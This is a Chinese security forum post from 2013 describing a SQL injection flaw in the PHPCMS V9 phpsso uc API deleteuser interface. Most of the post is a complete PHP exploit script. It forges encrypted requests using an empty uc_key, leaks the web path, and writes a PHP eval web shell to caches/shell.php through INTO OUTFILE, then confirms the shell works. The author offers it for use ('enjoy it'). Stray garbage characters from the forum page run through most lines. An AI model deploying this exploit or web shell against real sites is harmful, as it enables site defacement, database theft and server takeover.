找回密码
 立即注册
查看: 2124|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! j# ]: k# B' Q- A/ k0 z6 Z6 l. m6 d
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
; ^: q" K( m: P7 @* G
3 M) Y( H/ T& M( r漏洞分析:3 T0 y' C* \/ N. ?8 v) k$ D0 j
1.未启用ucenter服务的情况下uc_key为空/ l* F& c9 D: P$ }5 E+ B
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
" m  l; O9 d/ U# \) X6 ^: p2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
, {6 [0 g& }. H5 S" X6 {8 c    public function deleteuser($get,$post) {
% r6 U; x7 @- P0 P/ N5 o' c        pc_base::load_app_func('global', 'admin');
# i; M$ r7 d9 @0 v4 H- j        pc_base::load_app_class('messagequeue', 'admin' , 0);$ X/ @" \$ z# o/ a
        $ids = new_stripslashes($get['ids']);
4 @7 ?% Q  F* B+ ^- P        $s = $this->member_db->select("ucuserid in ($ids)", "uid");: @+ s9 X/ u2 {& p
SQL语句为
' [# y6 r6 {$ J2 SSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
) z, c, y3 p8 z. }  w. F0 u0 V3 |) Y0 m, u9 E  N6 b
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, ~- }. J2 A: C: N
<?php" Y  o9 `/ N' I! I) y
print_r('
% o: |' K& _2 C/ D---------------------------------------------------------------------------
1 N4 a0 x1 n. x8 u% _! ~6 Y% q6 aPHPcms (v9 or Old Version) uc api sql injection 0day% r% V# O; D) o. S! r8 A
by rayh4c#80sec.com
; n( [& H! s2 z1 u0 f8 N---------------------------------------------------------------------------4 Y9 B$ m; y% |& X" u; c2 w
');
6 D2 l' \( W. k5 [3 P0 N5 Q6 @
. u( G$ |7 ^5 @. }% uif ($argc<3) {" f: G; V$ f5 f) G2 i# E7 W
    print_r('
9 S7 a& q% ?; r& |6 A5 K---------------------------------------------------------------------------
; z$ h8 \7 ?8 ~; mUsage: php '.$argv[0].' host path OPTIONS2 ^4 ]# f: X+ g: h) l: A3 |0 s
host:      target server (ip/hostname)+ k% y% d9 l2 K! P1 p5 h
path:      path to phpcms% v2 n' h/ q1 D# c$ Q0 n$ O
Options:, X/ `8 w2 l. ?% ^' t# `
-p[port]:    specify a port other than 80
; O- C( \1 a5 o% X( n -P[ip:port]: specify a proxy
: ]2 I! t( m! |5 n. HExample:
) E( f% G! N( @% A, L; Z' i; ?3 T) n) Yphp '.$argv[0].' localhost /
; `" g4 r6 U8 S. `* wphp '.$argv[0].' localhost /phpcms/ -p81; Q" S1 C, _8 v) @- l8 n9 V9 C( H
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) b+ S; y9 V# D, c! N---------------------------------------------------------------------------& k0 B' ~7 T, `" \
');& ?; y1 U9 x8 {- ~! L  g0 c, D
    die;: e. F; M1 V$ a& B8 f' x! C' y
}
0 c/ u) _% u  j- z
! h  N- w2 w. u9 g. J5 c2 W  I7 xerror_reporting(7);
2 U4 q, V/ C( K; k* fini_set("max_execution_time",0);
) K* o* ]9 z. G. s) i3 ^- |ini_set("default_socket_timeout",5);
5 Z  Y5 _1 M, A! O  g
, O+ s  [" @# W5 x/ p2 E  }9 |function quick_dump($string)2 z- M- R' h' {' h5 k! d
{
- _2 V: i* {% f$ U8 j  $result='';$exa='';$cont=0;, J' }$ h. m# z8 H6 e+ C+ j' h
  for ($i=0; $i<=strlen($string)-1; $i++)5 G. H3 U: c# |: @
  {
+ z# H9 R& U1 f3 N6 C/ Z   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
/ A" Y3 c" \& f. \! [   {$result.="  .";}1 Q+ M% L& J: J' `) ?
   else
* q, R. v% H' \1 ]! h$ G   {$result.="  ".$string[$i];}
$ f+ K3 y6 l4 e0 L& H; ~! d0 }   if (strlen(dechex(ord($string[$i])))==2)
- o, |, @$ U! U7 v/ `   {$exa.=" ".dechex(ord($string[$i]));}
# n$ f' Q. Z; H. z. \   else
6 v4 k8 y! ~6 O: V! F   {$exa.=" 0".dechex(ord($string[$i]));}. a2 r# {/ D9 {5 h9 _, a2 ]2 p
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}* e  }, O. k3 L
  }
! r1 \* P9 ~7 N$ A+ p* s9 C return $exa."\r\n".$result;
: ?# h) W: S3 N, L* M}
# o7 w2 a- y0 d& `6 v$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';% l. p, z" N& R4 \! x

6 [1 U8 f( s) T+ ^0 \: A) Bfunction send($packet)2 F  |9 U( E4 ~5 i# `' ^
{" v! S' L) |( Y* ~2 W4 s
  global $proxy, $host, $port, $html, $proxy_regex;8 x5 s" n3 O9 t
  if ($proxy=='') {! l9 f& u8 o! e- R# e$ y1 Q
    $ock=fsockopen(gethostbyname($host),$port);
- }' G) q4 x4 D/ l; s2 \    if (!$ock) {
; R  s. e0 ~" [- B      echo 'No response from '.$host.':'.$port; die;
$ q% I1 M) n% p    }
8 {; d- U: |  p: c* c7 |' ^: |( L  }7 G& S; a! L: s$ I
  else {
( Y& R  K# w4 l        $c = preg_match($proxy_regex,$proxy);4 |" _$ h% o0 O% L
    if (!$c) {
! V6 _% T7 [  k( m, F      echo 'Not a valid proxy...';die;& m4 g  n) F: k1 }. B4 s+ b0 i" M
    }
7 J# X7 c; Y9 k5 m% s2 ]. W    $parts=explode(':',$proxy);7 j4 ~! o" E/ B, o
    $parts[1]=(int)$parts[1];* L. K# r; u" H. \' }# P& e
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
" L- ^/ _: `' j3 i! r5 \& C    $ock=fsockopen($parts[0],$parts[1]);; z7 t& w, }, Z6 o3 }; T9 I' O
    if (!$ock) {, h" l4 J" K8 c2 ~0 a: @8 E  e% Q
      echo 'No response from proxy...';die;
( a% u* _1 l4 u7 p* v( B        }0 `, d# ]7 X& A# g% A' ^
  }
4 p1 x/ e0 l0 j3 q; p. x  fputs($ock,$packet);8 X3 V  _0 D+ h6 a! `8 U# P9 S
  if ($proxy=='') {7 v! _' Z% W6 V2 n) U6 y4 W
    $html='';
$ R" O: g8 e& A% i    while (!feof($ock)) {
% e5 t) {  F0 P8 C      $html.=fgets($ock);
4 c0 n; L3 ]7 ~- v4 H  O    }
7 n8 |" T; d, M9 b0 ~' X' m0 g  }* ~/ X! y. E% b( ?
  else {. b9 d! R) p: a6 M  f
    $html='';. P4 k. _% L4 P5 k4 W7 W( ]
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
% i& a( w7 Z( y4 k  B/ |2 t' s" h" f# o      $html.=fread($ock,1);
* `% K3 S# E: D# F" k    }# p2 r, n) j4 @. K
  }/ j2 H8 q4 q. |
  fclose($ock);
+ w% `% i0 V; C  u, \}
- ]3 {0 Q4 Y7 Q5 h5 b, D+ a. @9 p: I8 b3 ?. W
$host=$argv[1];' A9 X9 _" b0 @0 J8 V
$path=$argv[2];" z9 A% I+ M* X2 j
$port=80;
. f& G5 K  m( Y6 ~' t6 G  q$proxy="";
* f3 g! ~! U: a, s) z( q* L4 w) @for ($i=3; $i<$argc; $i++){4 g( X0 H7 R. Z( C3 S! `1 w
$temp=$argv[$i][0].$argv[$i][1];* H" k6 }6 H2 `+ c
if ($temp=="-p")4 B# Y  j3 T2 ?' V7 O' Z) ~
{
0 i. s" f7 T. K4 y/ |2 d  $port=(int)str_replace("-p","",$argv[$i]);
( \$ v& N9 u4 Y9 W5 ?& D}
9 f3 U) @- e4 ]) d/ \if ($temp=="-P")
8 H# u; L! d/ X, M# U! w/ a{+ F5 g/ o: F* t7 l. j6 H7 ~+ w2 y
  $proxy=str_replace("-P","",$argv[$i]);
1 D2 W! e/ Y) \: s% I# S) N}
+ @& U5 w9 u9 a# t  n+ P. @" }}: B- S: R% p: Q9 D/ p2 A

) }% M& G7 i& e0 ~# o- Dif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}' W2 o  s( g; l0 o
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}: X, ~; d6 F6 n& D
% H( D; |' `' }' ]3 _' j! E0 u$ R
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {( _  L6 V' Y( D& a

1 M* @  ~* b0 s; ~    $ckey_length = 4;+ R& |) e: j9 o; K* @) j7 T- m
6 p7 l& \1 ^4 g: O1 U8 ]
    $key = md5($key ? $key : '');
! b/ ?& z7 I' q0 p1 k7 \    $keya = md5(substr($key, 0, 16));
6 a3 S' k4 g( P8 n2 x    $keyb = md5(substr($key, 16, 16));
- i/ l8 p' v& }+ J    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';# M1 q% W3 Y7 H3 F5 H

% e) i5 X! f7 `9 n+ `$ ^    $cryptkey = $keya.md5($keya.$keyc);
( z  U% H: Q$ ?& \: t9 }& [    $key_length = strlen($cryptkey);
& q  U# z- B+ ^' ~1 R2 L& {) A! D9 _$ D2 H8 \5 f# N3 O
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
- w% u. ?0 v6 J- A    $string_length = strlen($string);
4 B" i- g7 ?  |% q7 R  s, h1 e+ h) a4 h
    $result = '';0 S9 T* K' F/ O7 |+ _
    $box = range(0, 255);
6 i6 i' c+ t; v2 o- E! u# o9 r
# a6 B, C2 i5 X& g/ z    $rndkey = array();
$ }" i! h. y5 U3 o' ~    for($i = 0; $i <= 255; $i++) {
9 d: u1 t, p; W% {) B        $rndkey[$i] = ord($cryptkey[$i % $key_length]);* p3 y4 C2 `5 ?) y2 U  m! q4 @% k
    }
9 ]/ x9 P' H  P; i6 k( E1 F0 C" _9 l! M* \1 [; S+ A
    for($j = $i = 0; $i < 256; $i++) {
: ^: R. D- S8 y        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
3 y7 g9 {1 l7 i. m- o+ J        $tmp = $box[$i];
2 z  p" |; ]- B  t        $box[$i] = $box[$j];. s+ [0 v/ D7 T- a& s0 O' g
        $box[$j] = $tmp;
5 E) R0 z  }9 Y# v. X) F+ b    }! J6 c1 J) @" B3 @* ~4 |' o

+ T' I. p0 r* J3 p! }" @; C& g    for($a = $j = $i = 0; $i < $string_length; $i++) {
2 _- j1 c$ m5 u: Q! m% d! Y# ?# v        $a = ($a + 1) % 256;
/ W. a" @7 D  o! c! d8 q$ N: P8 P        $j = ($j + $box[$a]) % 256;  p/ j4 o% u4 q5 P2 d
        $tmp = $box[$a];
5 Y, L0 h5 C- ]  j$ {) _        $box[$a] = $box[$j];
: d7 _5 M$ R( ]' `' p. d        $box[$j] = $tmp;; y/ y5 ^. @4 U& e
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: S/ z: o, {  G# ^' q    }. v  R5 O' [$ B" n/ P+ D2 ^

1 v3 V: P8 X, i6 v' @4 ~    if($operation == 'DECODE') {
( P5 i0 x' M0 m5 `, {3 X/ u! P        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {" h- s* W/ T6 m! y/ L  c: w
            return substr($result, 26);- x) B* G; a6 A  y: K/ b; K
        } else {
, {" V* s9 [( ~" {4 X1 D4 n! x( T            return '';. F+ l' O" ?' X& l6 j& b
        }3 _3 l6 ^4 |) Y, ^8 f2 x# f1 o
    } else {0 |, H% }) X8 P' L+ I; M
        return $keyc.str_replace('=', '', base64_encode($result));# {0 J) Y# C! I
    }
2 E0 V4 S3 b8 |/ w6 ~% O  K7 u+ ?+ n+ H) y3 c
}
% X7 ?, K7 F- h: l6 r% h  f% y8 y# X8 L/ f7 U
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";, b7 B5 D" r: i
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 K1 P4 y. n1 _9 c1 f% N/ k/ S
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";5 w/ J. w$ f- Z0 H2 N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 [6 y7 y( j' T7 K: y2 T$packet.="User-Agent: Mozilla/5.0\r\n";% M: E& c. x/ e: V
$packet.="Host: ".$host."\r\n";
( L; L! @* k  Y6 f, ^$packet.="Connection: Close\r\n\r\n";
0 s1 E9 ~$ T4 ?  m! a( ^8 msend($packet);$ I+ h9 L4 k( _: Y
if(strpos($html,"MySQL Errno") > 0){: ?# h3 G# D1 `# _
echo "[2] 发现存在SQL注入漏洞"."\n";
/ K6 N7 K6 r8 ^1 ?echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";, w) a  |6 c% Z. ]
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";0 C& f3 R3 T7 O; ^7 v
$packet.="User-Agent: Mozilla/5.0\r\n";
! w( g" n! J( R0 |$ v! s& O$packet.="Host: ".$host."\r\n";
  U, R% l9 u; f. w6 I0 O$packet.="Connection: Close\r\n\r\n";) x, z3 J! H, u4 k. T6 s; v
send($packet);
- Z$ Z6 Q7 {% Zpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
9 |) p- x9 H9 o* e; U( p5 V1 Y//print_r($matches);
4 r, c% h% R6 X" P6 I' Wif(!empty($matches)){
5 u2 p# ?! j: C8 o9 L9 necho "[4] 得到web路径 " . $matches[0]."\n";
; E3 R9 q$ U+ gecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";0 Z* E) X" R, r9 X* Y2 z( \
$SQL = "time=999999999999999999999999&ids=1)";- W/ B. l" P+ `6 J' g
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";7 Q9 k0 p$ G. [
$SQL.="&action=deleteuser";
4 A# {# `' T# a" P% D, o: L$SQL = urlencode(authcode($SQL, "ENCODE", ""));
$ v% C% X5 E- q9 n/ d& Xecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
  n) Y4 h( D* p$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) B  A' K3 g+ C" b) T+ b$packet.="User-Agent: Mozilla/5.0\r\n";
# H+ `1 Z0 ^+ j+ h& M* t" F$packet.="Host: ".$host."\r\n";
* I1 c2 N1 F/ ?& [; M' _' |" W$packet.="Connection: Close\r\n\r\n";$ O6 h- M( F. ?
send($packet);! Z' u- U4 a" h+ g
if(strpos($html,"Access denied") > 0){
5 o! H8 j% J% w3 {9 pecho "[-] MYSQL权限过低 禁止写入文件 ";
$ v2 i& ^0 J& D: Z" x" h5 pdie;
* O9 l- }7 t2 x( o9 H}' \% d2 D8 E5 o) E* c
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";! q. _& {, y& n" }- c6 ?" D
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
2 o4 t6 s) e  x- ^  r/ \' r; G& O$packet.="User-Agent: Mozilla/5.0\r\n";
) u  r; h  k; }0 w: l: S7 L$packet.="Host: ".$host."\r\n";
& W7 A9 f+ [' X- e' ~& x' ?0 x$packet.="Connection: Close\r\n\r\n";; Q! ~) z6 f- v4 c$ h/ k0 m) F
send($packet);
2 W+ r: t# u; l/ Zif(strpos($html,"<title>phpinfo()</title>") > 0){7 f" }" v6 z/ o, S2 J
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ K/ r2 k4 P' G3 ?- K4 v}' G3 v7 v8 N* v) I1 |0 k
}else{4 B0 v; ~1 W5 Q" L; `7 g; y7 Z
echo "[-]未取到web路径 ";7 t: H" S8 L1 L, B3 G; H! T
}
* `1 R6 F# G! ]. p' P" t2 J}else{& x9 m& S8 r% k2 [, ]# d2 ]3 n
echo "[*]不存在SQL注入漏洞"."\n";. Z- l" |6 U+ g; r+ [
}* L) V+ z% A8 V. [
' R# K) M% E1 o* s$ B! Y( r
?>* |0 I+ l9 ^0 i% _9 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表